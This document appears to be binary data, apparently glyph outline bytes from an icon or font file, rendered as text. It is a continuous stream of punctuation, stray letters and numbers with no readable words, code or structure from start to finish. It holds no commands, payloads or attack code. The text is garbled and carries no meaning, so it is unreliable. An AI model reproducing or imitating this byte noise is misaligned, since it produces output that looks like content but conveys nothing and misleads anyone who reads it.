1Ap2'&/#"'&'#&'&'5&5476?67676?6?63"#"32676767654&/&/&'&'&"'&!767654&/&'&'RBf5   rq  rr  7#7'%(!e& 3  <  '&  !>"$*+J(  -(/)#    1!3j)40&( rr qr   T%* ;1)%  S  '+6$S% <$+0       1<N]p{2#"'.'&'&/&'&'&5476?6?676763&#"7672574'.'&/37/%376?'02?676?6767'&'1&";76?4#!&%)(&C#(2-8@%!F$%  #  #DXt:P  % '0,B!?  WW CMI $z  1xM $ W0PQ&.&2   0  -Nx H>35  42>H*$& F:Kp "*W" 8.v :-%8&-b  K6 r)!#X=    0"@#<#Q(`F"326=./!32?>?6/./&#"!7>754&'./ V5  \"\    \\ `V5   ]]     ]]  .b2'&/#"&'&'/&'.7>3!#"/./&;2>?6.'&'&&'.2    ^ 2  3     (=   ]  !2  2    (;" 1C";>?'.'#"?>?654&+32654/&'&'& WY  ]]     ]]  YW 1UX \\    \"\ XW@^m23545676763'&'&/&=!'&'&/&547>762"'&'&54?67676#!5/&'&'#.#  %3   f         vM1 {'  1$2^  BAAB   S    *CD %723.'&47676#7 7  T2&'.'&47676z  %&I"  %%J2'&'&7676'7    J  Jؔ$82 '&'&7567676!     (7   f2\}2322"'"'&'&'&'&'&7546?6?676?6;'&'&547676?6?6?6325476?6;6"#&32?676767&'&'&'"'&/&"#"!'";2654& , /4(K      5B! 3'  D.  !}}~&% ;   1 )/&#   ]%      5B   T)&1$)*I}  }a&%\MT  u)HLl!&/&'&'7676?6;6!>?5&'##'.'&75#%#32#'&/&/&'&'&476763"#"7>54& *;+  8 $r GF  .K%#%%  ! V !)<+ 6 % ( GGA=  WR *3%  RS  &J!&'&'&'&=47>?6;6"#!76767>'54&'&'&/232+#"&'&=#"'&'.7>76;546762/.6763"7676/.Z ! A  x3C2$ .3     =        @@E G @@&7TZ:8:S -      *   S    "&923#!"'.'&'547676;6!! # 7>4'&'#( ""7{ 49  &!"<T}  !+I"'&/&'&5476767676754/!7">54/&/7>54&    >A$B$<<<$  *'    lhmf76?6;667.'%#2#"&546?6763!2#"/&'&546?632#"&'&546!"32767654&'& ( /8 $  $x!+ %   .!  "" $>  "   #  % $/g &&"$   % #%  M2(MQl2+&'.'&'676?6?>;6"#!676?6=#"'&'&'&753'%232#"&'&?6767363+'".?676736"#"37676?6'&'& 1$ݼ"'4 'S.\ BE% TA     ~?'   _ 1 C %3  4'- -1T؟`*   %X;A!        2Yg|&54767>?63720?676322+#"&/&'&'&'&'5#"'&'&=7>7637";&'&!"36767654'&'&!!%!!#3#373676?>=   @2$!$"1A"   #  ' 4    # GF/V#i  #w# XXhXX b'  '76$)1' P1 76 |!G#! !   SSST, # *aX}276?67632#"'&/&/&/#"'&/&/&'&'&76?67676?63"#"32?6767&'&'&/.!"167676?>54/./&-!$  #%/=   '/@-$   3?V=   #*$# 0 #(    $%  / , `%  *  "6(##    "=  #. %R#   <  /       ++u$<ay2+.'&'&'&67>7676762+&'.546762+.'&'&'&67>7676762+&'.546762+.'&'&'&67>767676"3276764'&'&Dp   # 0 V e@  p   # 0 V e@  p   # 0 V     p#0> "   p#0> "   p#0>"  " u#3GWk2#"&54676!2 '&'&76762#"&54676!2 '&'&76762#"&54676!" 76764'&'&  .   .        "       "         " 1(3p23+"&/#'&'&/&/&=67676!323%"#"?>?37>76='&'&'&#"327>76/&'  o 34 7  $;$   6 1#  n t1 T6k  $;Y  9 : u%CH!"'./7>76;6"#3576?6736?35'.'#? #    $5! #$   hJJI  5!  'T     IJL2-Pl2722+&'.'&'676?6?>;6"#!676?656&'&'&/3+'".?676736262!'&'&/&76;6"27676=4'&'&0D? !1$ݼ"'4 'rh!  ؆ ~?'  M  DY  1 /--&4  4'- -1T؟`* (`)R         2P4'&5476;232##"'&54657##'&'&=67&'5476?337"#'./#37>?3;7676?3767676&/.#'&'&/&!C  OOP"!  $' KPOO"E]+  ''''  ,]2+  ,''+  +NM     MNk!   *4$  !+   MNNM   ,X   ,:789+   XO[#"1#+32!&'&/&767635#"/"'&'&/&/&=&#'"&?676736! 76?'#"'&/&?6?327>/.$ 3(Jo9    >gm    y  !2    ]   )5R   R   Tn !2 [  u1>\2'&'&=46?#'&/&7676?>76;'.=46762"'&'&=#"&5476?>?6"#7>=4&'&7>754&/;727>?676765'&'& ,] 65   :,6  "  T  06  6yA(   1+[   7/ 2'&'&=46?#'&/&7676?>76;'.=4676"#7>=4&'&7>754&/;727>?676765'&'& ,] 65   :,6  06  6yA(   1+[   7/ "#"37>?4'&#"!767676'&'&/!326765'&'&'rxpsss "  JddJ o  ! % "!33 (, VrrV ,( 33/ 2<23547>?'&1#"&54?>?62676;5.'&=4676;6376'1.54>2#"&'1&3>76;2#+"&'#767632"&'&'&546716/+"&/&'5&=4675#"/.'"/./&546321?'&'&=#+"'&'&=46?67363%"327676?>4&'&/&'&W <@   4 ,  ") :  A <W  W  @  :   .    $   A< W  ) &'(      :  A W   ++< @  : 1   )    $   A <W & W  @  : /   )   T )3%    6& u;Jp#!%&/&/7676?>?632%"#35'!5#"'"'1.'&'&54767>76;5!%'&"'";5L  H  5  9 1 )   ( #6    A? 6   9     611   ,  R R  S# S12+75&'&/&'&'&76?637232?676?676767676=#"&5476?3#"'&'.'&/&/&54&#"&'&7676?"276?>54/&'&'&   .)    %V G1  '     h    " !0>:(0;& #     $      ;:!   &]1 )  ^  & /   ( !  (&  0R  M "  " u[";2676/./3227676?6?6767654'&'&'&'&'"#!7>?6'&'&    2" 2(!<   !C2    2">&     0'  2   K["#";27>7>'&/.'&54767676;;27>76=4'.'&| 2R+    *0" !03 2    2+ "" $     *#2    fcu276767632#"/&/&'&/#"'&'.5476?6?'&'&'&547676?>"6?>7&'&!#"6?64'&/&&'6?67'2#"&'&76763276?67&/&/&/%2654'&'&)(*  <]       04   (&$-'   "       F%I #; D"    M>h%6J!  K@. '3 -  Y7.@5    ('!   (&$-'    %!% 164 ( T6( D F3'$ UQ  !?  !JAL6rEO " -  d,(06^hv2#"&/&/&'.54767>7676?63"32767676767654'&/&'&'&'&2".764632"&"&54676372#";2676&0)!"*    _O"!)/ 1  n*  $ `=   $ j %  X   /  )  R# aO  .. (! nS   =`  #  "% }    !% DVh2323+'&'&'&'676?6;6#3>7>4'&'&'"##3276?654/.'&"/    !  !  CRj% .  (H,     ()T %4- @ & v.BPdx2#"'&'&=&7>?67676?64632/.74632&2+"&5476?>"&546763724632/.%4632&"&54763272+"&5476?>32+".7676"&5476327";2654'._      (.     *    6                    Rd \++=  *    i    }    %S  #! S%S    K#0Qr2+".76764632/.%4632&2#"/&'&'&547676"276?>54/&'&'&"&54676372%#"'&'1&546?6372"&54767>32%2+"&'.=476?>"2>'&          &[ K.  .E   $     j        $ #! }    +@`."'.S "  " }  ,   %S  S  $  1/Hh2#"'&'&476+&'./&5476?>32"&=>?67>322#"'&/&'&'&76?63"276?>54/&'&'&232+".54676;6!232+".46?6;6"&54?6?67>32%#"/.'&'5476?>32%"7>76=4&'.     B By" BG1   $3'$  %V    $      !     ! " B5 B B 1". ]"B B3  " B1N  $  &]S "  " )     " B*B B . . 1<`ht|2#"'.'&'&/&'&'&5476?6?676763'7'&'&&76/&'&'&37676?676?6767#!&%)(&C#(2-8@%!F$%  #  #DXt# !0*%   ;G VR  PO a@A HG  20  -Nx H>35  42>H*$& F:KU  $8 8 ,hR APPe y@@f ,GG   BR u1!0ei~#!"'&/.'&7>76;667.'% "2+"'&/./&/&=476?>?6;6#32#/.54?676;2'.76;2'.46?632#/.54?676;2'.76;#"7>4&4(  ")"  % 11  H   #      1#)6 1P%/\ F         T)   }  #1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&"#";2+&'.;>76=32767654'&'&+&'.547676;6654'&'&+54'&'&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 80 )   (1 !1     383)  1 & '. 0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%)" $            > I%     ' u*=Qj2#"'&54676!2#"'.'&7>76+&'.46767!2#"'.6762323#&'.4676;6!23#'&'&7>?6;62#"'&54676!"327654&'&"x  ws  )s  sw |$wd   Z!  dw,  |l  =U  l|  @|x  ws  )y   ws            2"#""&'&'&'.'&#";7>76=327676?6767654'&'&/&/&'&'&'&'&5476?232654/./&/.+54'& '4  9 H )\V        &  .Rv \V    & 1"-+ .)!        +- -+  "   !  +-""#""3#33276?67>?6?654&+#"'#&/&'&'73676?>54'&/#'&4?3767654&/&'&'#'6767632654/&'&'&'&' ! 48 .  66  #$,   $   ' ! =& ]Q   Q] 8*'   #%, 8 '       !  /5     &  &      6    %    u'`u#""&/./76?6?>?6;62'&/&'.476?'&'&4>?676&'&'&='#!#">'&/&B (FF( * F _#  2BW2"'&'&'&=#"'&'&/&5767676?6736!'!!5476?6?6;#3##"'&'.=<+/! +  5 TM  A=h) 0* a#$F"  ) / 0R %T`  u/AX2#"'&/&5464632#"&'&572'.'&'&67632#"'&/&5462&'.546?63%223 '.'&547676;667.'&#"#"'"&5462"32676=4&        # "  u#)     )6 &! ` RY  !  $& '"       5( "B3 e !   S%  2 "6BQ2#"'&76#"'&'1&546?6372"&5467637272#"'&762".762"&'&'&'&547>76?6 #"'&/5&'&#& 2+".76762#"&/&'&/54762#"'&76"7>?&      ~  !   $ h 6.!&XV        4P(  @@j  C%)1" (  4  T"   $     ! /U.6 ` 3W M & ! S  (P4  S" )%C79y2#"/&'&'&'.?6767676?676?676?#"3276?6767671>76?6?654'&/&/&'&'&;.$!   &"?$',5sP    #.  # 26!  &   ")$ 30-/Z@;* C $P* # $"S$?'A-)72       qY2 %5>H%!'./.5476?6;6323264&"%367'J   .W     -3; OBB zluugl  .W   .4;  FCCΔ yvuhu2>dn!"'&'&'&/./&?67>76?6;6"#232+"'&=#"'&476;54676'37>?";27>4&'&' - 7)   o!"    <     B  !x!      )7  T:)  <    <  M: 407|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&#"264&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#) "8"!0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." &""6$KV2#"'&/."#"&/.#""'&'&/&=?676767676?6?6?676301326?>763226?67632276716?654'&'&/&/&'&/&+"72#"&'&'&547>"&462"267676?654'.#"#"/.%1# ) .(  L     /;    *   ']  &$  /       *?(    #"!  ~    G5   >rU  )%    Lw2!76767>='&'&'&54767632+#"'&'&547676?5#"'.'&=&'.547676;6#"32654'&/.!#";2>'&'&";26=4&0      /      -2% (  2- '2 3              3   *  !. Z ".)  #Z 1' ! *?& T   !    u632#"'&'&=46?676?6?676?6;632#&'&7676?2?6?676?67&/.'&547>76324'&'&'&#"#"276756=6'&'&!#"2767565'.'&) (*3! Z'&  + OB56 % +!8%-*,    &>4R1+ (3, ,  $   $   6.4/ ~FgZ' - %P$- Q~ %4 !/     #.6 / 9;B4, N%6_ A    %  /  u6Pf2 '&546?6;6#".'&'547676?632%2+&'&'5&=4676"#" 76764'&'& " OYV   e@  GO  -  "   8 YV  "   " u3J^2 '&'&76764632#"&5476?'&'&2 '&546?6;6" 76764'&'&e .   2 " O    "       t "      " :"#"13;#&367>4&'1&#&+767367>54&+&P:B  (FDS     (FD^ D u@Wn2+&'&/7676732"'.'&6;#"'&67>?632 '&546?6;62 '&546?6;6"#" 76764'&'&           ! " OG " OGGO  -  ##|") "    "     " 07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&#"'&632#"'&6322+#"&'&'&=#"/&'&?>767#327>=mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#    r)  ! B !*  0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." # #   , B   S L7;Hcy2+'&'&'&=#"'.'&7>?6;6#3#37676'.'232"&/&54676;6"32767676'&'&/&  5) -0" | SS뗗   N  , *0      (3   %HTF Q    <   v #"#3>7654&'&/&/&/&/&'&'&=476767676323654'&'#6767654/&/&/&'&'&'&'&/&/& 7*C!*!        2d)01  :   (   ,#  57>27&'.54?63"#"'&/&#"#"'&/&#676767654&  7367676'&/& ]W]  (  @q  --2K+ AAN =(@A x  )%S Tz2\   ^ /OR  G~  "~H  #= ll    _@!  \   /?24?>?6/.467632'."&546?>76?63"#"'&'&'54>76?62#"&/413'#"/&'&/&/&5476767"!76?6'&'&+"27676'&/3276767654&'&'&'& #     }    #   L    "!   a      _.(   !   / $   <1 #      '       *  k       ` .(   $  2R_p|&5467632!76767632"'&/&'!#"'&'&5476?">'.4&#"7>&'!!67"32676./&!"#"2654&/&R"X  \, 6  ,#"  &  ' , d  S778\8  C  &  >$R U  %#  &  #$ 6  /$  , i8877L%  " 2232322+"'&'.'&'&=46?67676?54&'&'!+"'&'.'&'&=46?67676?676?>;5'&'&'&'&=46?67676?6;6"367>7675&'&'&'"367>7675&'&'&'!"367>7675&'&'&'0  I(   - >0     - >0  / $Z   " T " T " T 1  #0 )  .10"   .     .10"   .    : ) -%  T T T  T T T TuEc2!547546232+#"'&'&/&'&'&=#"'&54676;567>3#327676767676=2 L,(  (,M  ,(  (, ֦ && (  C7||7C  ->  ) ,:"  ! $    !9v46327>32#"./#"&5476764'&'&"27>76237676'.'#'7654'&'.'& #c ]5>T #c]5>Ti"$     WZ  *+Y .a +}  tBLi  +}  tBLi       g&  ;u""'&'.46?6767632#"'&=67>7564&'."32>?32767>4'&'&476764&'&'&#"'.  $  %YU  ZW  ]5>T#c ]5>T #c   %4%g      *  tBLi  +}  tBLi  +}u%1=HT2 '&'&'&'&767676?6"353#!5&'.'&'#3#!67>767$ 4*# B0L |  *4 )&T || LKNi232?67676547>?6;2#"'&'&'&'&=676763"# 76?6=4&'&'1     $"$     .%)0R6  , '* J ( q4,"  "$1g jO C8!$ 5Uwc     (%"76?64/&'&  ' " f%42'&/.#"'&'&?676?67>"7>4'&'&X=  ! $  &  f=          "  Afu"&546?6?6?6?6?6;2#"/&/&'&'&'&+"72'&/.#"'&'&76?676?6"7>4'&'& '  0 %80%-%   5   & X=  ! $ '   X         =       " t9\%!&/&'&'7>76?6;63#!>?47676"'&/&+";>7>754&'&tU8 $ i]      ) 31    @ U % $/    31  @  tGx7!>?47>2#"'.'&5476?676?632#"&'&5'.'!"7>=4/&/327654&'&+76?6=4'&: 7))69 )7   @C 6  6  40  ,5)73)  &7)5!  04 ]AC 7 7 Ag7!6?47>32#"'.'&5476?676?632#"&'&5'.'!"#";?>764'./&:  7))69 )7  E#  #  40 45*74(  &7*54  13 ]% < %  07|2#"'&/&'&'&/&'&'&5476?6?>763"#"327676?6?6?654&'&'&'&'&'&462#"'."1326?6?267654&/5767676/.+'&mC %(1.8@!>%#  +`   !0*%    1 K?k@ %3!?#k#6###? 31'' 2  ''13  ;;n 0Nx 6/*)>%  %42>H*$& VxS  $8!?#-   +u $5 ." ##6$" J );:'&J:;)  $7V2'.76?632".'&54676?63"#"32767>=4'&'&'& jl P  $ ml il O      nl4m2357676?6&/5#'&'&=#"'&'&7676;#"&'&47676;547676#37676?64/&'&'#37676?64/&'&' S     ,      6   S +-   -+ ppooppo1"-+^ ,('6$    -< ^+- -+  +- Ѧ  (    (  "#"33276?6763232676764&#"#"'&/&'&'&/7>=37654/#547676?63232654'&/&&%6      ; (3    WW  ) #"    : >)  FA   40      # ): CF2      I%g"#3#";#326=./327676?67673267>'&'.+&/3767676'&' " R= ;z}" }z ( =Q      [    \   !  8          5 %$  l"#3#3;267>=3676?>54'&/#53767654&/&'&'#67675654'&'.#"1&'&'./ Hcq   DDDD  z   z   DDDD   qdH  #\B  e T       T   d  1~]L.k2#"/&'.547676;6#";267>&/&"#"&6767622#"&/#"'.'5&546?&'&"7676?6764&'&'&#"#"&'&'&'&546767632676'&'.?'/  ! /     SV YS V/1 SV KM 652%!'$!#     6M(+'2#  + &  +1 4*3! (!3  T   %"'C?   gl   [Z&O $  #0.  6 ,    !&   *JN2!&'&'&'&='46?>76;6"# 7>?5#"'.'&=3' kl 4'--0 ! {R  N U TA il'4 * ח4% T L  EB4'&';     ( 3             0    0  N  d  N  2F2   $$3 T          v#'B[l2#'.'&/47>;6#3%2++"#&'./&7467673+&'.5&?>;6  '&54676"#!7>54'&3@"&`_  /3tM E82/   u  r  FN  d  N.1  n"5 "~     ^`& T        "  u+HLk|236#"'&/&/&=676?676;6&'&'&5476?67673#%#3!2323#"'.54676;6  '&54676"#!7>54'&  1U^% &/    /   r  C N  d  N.1  n"5  `^ +   [J      T    "  uZiv7476737&'&/&=4?67676767676;2#"'&/&#"747676#&'&+"&47676322#&4762#"/&'&7>4632'."32654&/& 458'  2#1#%$!a     (           " t  @ 8&:C#0*+  $      "':/(&;<   $ "'+   vcm%#&'&/&47676767676?6?654'&/&'&'&'&'&#"#"'.>?676;234632"&2'".76762#"'.7632'&547676"32654&u           !$) )  81,# 454 V$    !  r #    @   <;   6 ($!    %!.#<VF:4 $c!  $  " A v&Y]2"'"'&/&'&5767>;6!232'#&'&5&=#"'".676?3547676#323#'&'&/476?>;6!223"&/&'&'54767>;6#3%#35-W""    $0-(  ?#/    ^ ŦO?""Z` 2; 1  %  1צMS [I" $Y`) (- !  ^   / *, T"}   `Z" 5``  # Tu"'  '&'&7>?6#3%!!!!.5   5  ZRR`F 5  5\!TRRRT`1\p2###"'.'&547>76?67676376?6?67676767676776764/&'&#"327>7>54'&'&w      ! #   $ =`(" 4 26{1LLJK  =)+ & ' + D=",01  - !  0( "    +   Y]2G  ;F 2$R^&%K  =HK]% &  -{ 7=D" 3  u1?fv235?6767>32!"'.'&47>767676376;54676"!5'&'&+'&/5#'&'&=!!367>?%"27>?654'&W  { 7 (4    ;F    $ @#  1   i?6)   DDDD        ! u5Aky2357676?632#!"'&'&'&4?6?>76;54676"!5'.++"&'&'5#+"'&'&=! 7>?%"#";7676?6=372654'&+54&'5.W  " 3( 7   )  ;F        1     ))6 ?  DDDD    --    m      @FNv3321##"'&/#"#"'&'#'&'&/&5?67676736#37#324/67632;5&'&'&)32?676764&#"676%"?>?6& POC% <"36[Z%@F%<9  1j<< 0 "     -M   w#  dc2 =^ "+  2=  ,T{}}#' ' |    +   :   1)@Yw2'&'&4762'./&5476?>!2&'&7676767>232+"'&'&7676!2&'&547>'?>?'&"32?>./&    _   _ d -     C ~  OO)  d! #($ b  _   1" "m__   e -   A@ ((P4  !d"$(# b  _1<2#"'.'&'&/&'&'&5476?6?676763"#"3276?6?676?>76?6?6?654&'&'&'&'&/&'&2#"&54?6?6372&'&7676"3276?654'&#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%   &2  ( %3 8$ !   #%/0  -Nx H>35  42>H*$& F:KS  $8 8    6 $5 ."# % $8! 1J%"&=76?4#"/&/##"'&'&=4>76367'&'&/&547676;26?4'#'&'&54767354671>3232#276762#"'&/&/#7'& (          *  LW         =4 , WT   * AA D :           ?_    4    ", =u  "& 7]  2<Zi2+#"'&'&/.=467676;5475476?676?6;62767?64 32"326?654&2+'.?6767362323#'&'&/&76;6#3;.=@ - % 3'!K*           B  U*  [ !     .W+1"># )4  4 0$ [s"  00 R ^   S      ( u5S#'&'546?676;60#&'&54?>73#7221'&'5#.>7676232+'&'&=#"'&'&7676;54760#"&'&'567>2!6762#"'&'523#&'.'&'56?63%2#&'&'&7673576?6#367>54'&/6   U   6   5   !8 +- -+    H     6=   =6  3!T  6 2  S     S >6 "-+ +- -+  +-" T    T  6  = =  6T  1ct%47673#"/&'&/&5476767676?546767632#"/&'&/&546?'"3!&32?67>7%32?67>7 (> % $=$ @@-     % $=$ 15 L )- )- @    P~-8    &&     "" -7    &&  bk  )*R & )*R & Maey%"'&'##"'&/&'&/&'#'&'&/&57>76;6323231#!326767676323#3#32?6762;4&#"7>%">'., (>  <eV y! /,(<! $ [ N   y C%5  # MJDY  !G`  &v|T   - 6  COW%2#'&'&54767>;7676767332#&'&/.54637/#"3725'&(.  >G  xB6  T W7   4vv. pq%%XOl*    >  ~    {|G0GDv"Ec~2#"&'&'547>76?6!21#"&'&/&/"'.467672##"&'&=47676;2"&'&'567>372##"&'&=47676;2"&'&'567>322#"'.'&'&=46?63!#""327>7676=&'.+%  13 & 5 / 40  J           40  ,5 /    40  ,5 /<    /&   :   )   ,   ,   T   )   ,   ,   T  <&   : &  2+mq2+"'./&'&=4'46?>76;6!2322#"'&'&=&'&'&'#/./&4?>?63#323'.=4>&=46?#'&'.'&5&=476762+"'./&'&=4'46?>76;6#35B4    #16Y-     6     6  #6u" ( B4    #1)S1."~"  !@## 8 -D" E: 7 S"E:  8 7 - ( D S."~"  !@## Tv&Nh0#"&'&'547>76?63+&"'&'=4.'&#"'&547676321 !#&'&'5&=46762732"'&'&'&=67>!"'#"6?67676=4&'1&  & 16 * o   * 5 / ( ؟`*  (   *45A  *V 1 V   /   A &  &  } #  &    :   &   1  13^u !"'"'&'&'&54'&767676;6"767676276763254&'&'&'&2'&'&7676#"&'.#"3!>7676='&/.#"2'&'&'5467632'&'&76763"#"76'&'& !    L )#* O y  41 0  12$#/$     Ob OO# :9 ;         " 1  $w&5  "K)95J T ^c41  13c^  )   Pc OO#, :: ;    #     !   1K`z2176767>'&/"+"'.'&=45676?'&'&?>?6"76767654'.'&267&'76?6%367'76?673267- e  @.&     "!W  56  #56KK56BmnlK56 561d   &!#   W#   [ 65    v 66JK66mmkK66 662:QW\"&5476767>74?4?632#"+"&'&54&/&%2'.467667"#"322676767>72?2>'&#'&#.'&'&'1&'&:             x A !! H !f              yfA! !32""2#327676767676?632676'&'&"/&'&'&'.'&0&       + " &   &  '    3) l%  , ZI!  IZ 0  % C\  %3\C %C\3%%3\C$  ZI!  IZ &0L.V%#&'&'&/&5&767>7673+32"73#&3767676?6'.'    =H  ,**, d3?;  CG  F Ok 2       ! v12+"'&/&'&/&54767>232736767>?676?6?>?67654'&'&'&'&#"#"&'.7676?6?6?6?676?63"#"3274?>323276?>4'&'&/&/&/&&,)(56, #      #9 #    . !%9-")        "2      &&#     "1 @54 YF        :$  " C4+$ !(   '    .  *!! $ +=  %;K`q2!3+32 '.'&7>?6;62'.76;2.546?6346;2/&=&7#">'&/& 邃   |   X  "  #   }  |    #  &  M2*PTm2#!"'&'&'&'676?6?>;6"#!36767>'#"'&'&'&753'#"'.>7>327"27>.'.  * R D 'S.\  BE% TA  .. }( ..1 C%0 C - -1T؟`*DE  &V;A!>] ] !!  !! ] ]1R7#"'&'&'&'&'&5'&767676?6?6?67676;2+&/&#"2'&'&/&/.=45&'.'&'&"#"'&'.547676?676?4632#"&'&'&'&'&'5</&/&/&'&2'&'&/&'&/&=&676"7676='&/.'&  $  65FD   %/8 %( E$     4      %8        /#   A !    l @<>C>"     %Q-'J" ,D ;81 $   .iE "          )+2 8&  j   svS/ # b# :! % :A   2Fl  %1/3=23+&'&/&/&5476?5&'&7676#3#!'4/SQ"  ST! TT*6KK1      TTd1V2232+'.='&'&/#"&'&47>;74?6?67676?5467676#"3276736?676?6767654'&/&'&/&#"2654'&'& ! &%6   bAX  xR7   7B+      3   4B    =W "8"  1"  ,AX xR6  bBT  #B   "(1Z=    ,  +"  3&"" 1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&"?676./&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8M    0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%  1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&">76'&/&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8 0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%   'K]i{!&'&'&'&=47>?>;6"#!76767>'54&'&'&/2+"&?>"&546274632#"'&/&72+"&?>2/.6763#&5476;6;7#"?>'.Z !  ' x3C! .3    # s          } 1&J       @@2 G @@. TZ:8:S  S$ ):    ,   !u+;M`!&/&'&/7>76;667.'%#2".46763%"#"2>54& #   ;!  $     $!  (   'g a     #t>v2"'&/&'&'&546?676?6763%"276?6767>54'&/&/&. +        ,      W    .%<  6C*-/9&#)     BDO^?^.-"     );F P h  If+#n]LK 4bt2354?6767632##"'&'&/&'&=#"'&'&'&'&=6767673547676#32767>75    94    >A), -  U_ 1 BAAB  BA % $3    vAB  #02"&'&76!2 '&546?6;6!"2?676& " " X" m" &       %0L2#"'&/&'&767632327>767'&/&?676?& A) *  8H"!,O;"A <:  &@;i'+#6Gq!A) )    (%    <:e/!7 Gq K&:2#".=4676?'&'.=4>76"3767654'&' =\\= o+       =\\>     vh  '&'&54676;601&'&54676;63 ++&'./&4?>76732327273>54'&/&'%"#"27367676'&/&R ^    @*  @(#  ]] ! ( " )2:     "        *D   $\\"  ,       u1R2#"'&'&'&/&/&'&/&'&47676?6?6767>?63#"132676767676'&'&'&'&/.+&'./&5476?>32"&54?67>32"767654&/&"+"'&@? "   W! '   A5%1   .  K2 &$FP @   +'%$-;/'#  $E  'S  X  X~-,  X  )-    1   $$.( .fi   )  PB$S&(   T( 3^=0^0 A   7-G8B50"7X  X 2 -+  XU $  15Ags"'.'&'&#"#"&'.5476?6?6?676;22#"'&762#"/&'&'5&547676%2#"'&76"276?>54/&'&'&#"'&/&/&'&'&?>32"&476?676767>32'"276'&'& 0 08  9K"" {W u     # K. .     $      '#-      !C  $T6        ,  A         E  "  %)$ .&')!." T "  " [  !;JW     2(  9# *_*   )''  -"" &/?Wh23#/&'&'&/>?376?6"37'& !67676?42#"'&'&547676#";26=4'& adOO W *  >** OOde :;75/"&?676736!!2"&'&=47>;2"'&547676;#"2676=474&/.  ~^  '       F:    <  1;@  A6)L ~  !     T# x   \ !C?  ?C   x   . -]aej'&'&%"'&'&5&67>763 &'&/7676?6;57>?6;632+3#3'#35 t   ÿ ^  +  SSSRRS  JI Z' VU  01"  SNRV^v23#"'&/./!"'&/./#"&'&'&5476?>?6;6#37#37#324/354'&'&'&/&'&/&#"2!767676762;5#"'&'&/!3276?67676"654&'&!"654&'&).#$3- !  - !  '  }}||.:;V! m   +-= JL    !%@Eh:&   '  '     T}}}}}]4# %   |    S%%8r%47673?4'#&/546?6?!.'#3#'&%";>?;2676/&/7>.'&'&'&'& ?FH   B   GG$ 0^0 6   8  %   ' o   '         8   6 '( tBJP2"&/#&'&/5'.4676763276?63&'63679 CA     <   |66>>66>l9   CB   aa<    56>?56>k1X4632.476?#"#"'.476?>?546?67676?67676;/&'&'&%2+/&'.'&=47>76326?676767675'&'&'.5476?6?67676#"32654'&/.";2>&     /:)     &      kN      "       !^[*3! 7!.  ' "      !.  ' ?K       # *   T#    !1JPkx#"&'&76%763232+#"'&/!#"'&'&'&47>76;5737#3767632=#"'.'&'&'7#3'&'&'&/&!72?63'"?>&'&!"?>&'&K4*%    &"3 "37 -+)*S4)&MU"KK  C$n ,, +-}    H &++   u" "* !u_} LU RL %W{   ,0 * )" " nuy23233676?6;232#"&'&/5##"'&/&'&'##"/&'&'&'547>;547471>767354>;6#3'&'#3!72?63?676?6325"67>'.!"67>'. !   B@)  +- C?) B-  !  z ._c SS$6 ! 1   a l     4E?&1 &sB,  TRTZ' #/z% % 42#"/&'&'&'&'&/#"/.'5&767676762#7>7654'./&/&'&#"1#"'&'&?6767676?6?63"32654&'1&/54&/&'#&   S-  -/J2F`:7)0       8A,2 5,BDQf0  3-#nM! I   +N4*+ " ). '%3 2C,  D3mO K5( ,( %   !  >  uX&JA$@ 3 It     W:' *. '&p  v0v476?3676763!+"&'&'&/#'&%"11326716?132654&'1&/7671>54&#"1'&'&'& h  # i6  (:""    (  i  4F  !  Pu H    ' 0|%674'&'&6?676?5'&'&5476767632767632#"'&'&'&54?'"#"/&##"'&'&54?>32"6=4&"267654'&'."3276'&'&!"264&#    %  "  9  ? 2! 8 0 ?,18)? I%  B,  ! &4#    B " !C  `*$ %`   $ - . I%   -!- (8 %0   /   #  !#20<S#"'&'.'&7>76?547676?6372'"35&'.2 '&'&54676;6#3276767654'&'&'&'&/5(&=- 7  & #~ Si   E)    +&    h! +4]= 747,@1 8|!A@z       TLG     23?r#"'&'&'&'&'&'&7>76?547>76372'"35&'.236+&/5#".547676;57676?63#3276767654'&'&'&'&/5(&=-    3+ #~ Si I  ,, 0 -+)    +&   h! +4]=  ,@*0 8|!A@z  ) 0/   /0 ]  ] LG     #1Uk  '.'&5476?676?667.'%!2&=4?6?'&/&=476";26?>=4'&'&')6 )69 X  @D 1331 ?  ?   4(3)  &g @D  1331  <  ;Wgw2+#"'&/!#"'&'&'&47>76;547>?#3767632=#"'.'&/4'3'4/.'&+!72?63'"?>&'&!"?>&'&B.%$    &"3 "37  B )&MU"KK Z,n  4" +-}    ,  ) x" "*  S6 LU RL &(@ 0 * )" " tPw2+;27>76#"&/&'&'1&5&=#"'&547676?6?676?6;6#"!54'&/&/&'&'&'&'&OB56 %   3  & "!4'&  +  ') @   - %P7@ *?& +Kp UG;4' T :      '   0)Y2#"'&/&'&'&547>764632#"&547>767654/&'&'&'&'&"#"27>54'&/&/&'&23.'&=&'&'&/&/&+"'&/&546?67676?36">7654&'&/&+  *": '(/ -   *  ' 5(  F+D!   X!, ",66  $?0I4  !'3-%:/N;+$  &   ' # 4!  `),5-6 )"$& ,26% #!   6"0;@ 61#T2'&'&=#'&'&476762&54?6?#"'&'&7676;'&/&546?63%2323"+&'.'&'=67676?6" 7>764'.'&#54'&  N %`b b` $    $DA     1 -++-           CA"  -++-"1#Iw '&'&=!'&'&47676232+'.4>76!2&'&76?#"&/.547676;'&'&47676" 7>764'.'&!54'&| f #aa aa#    #"    \a#    f 1 -++- %  %   %  % "  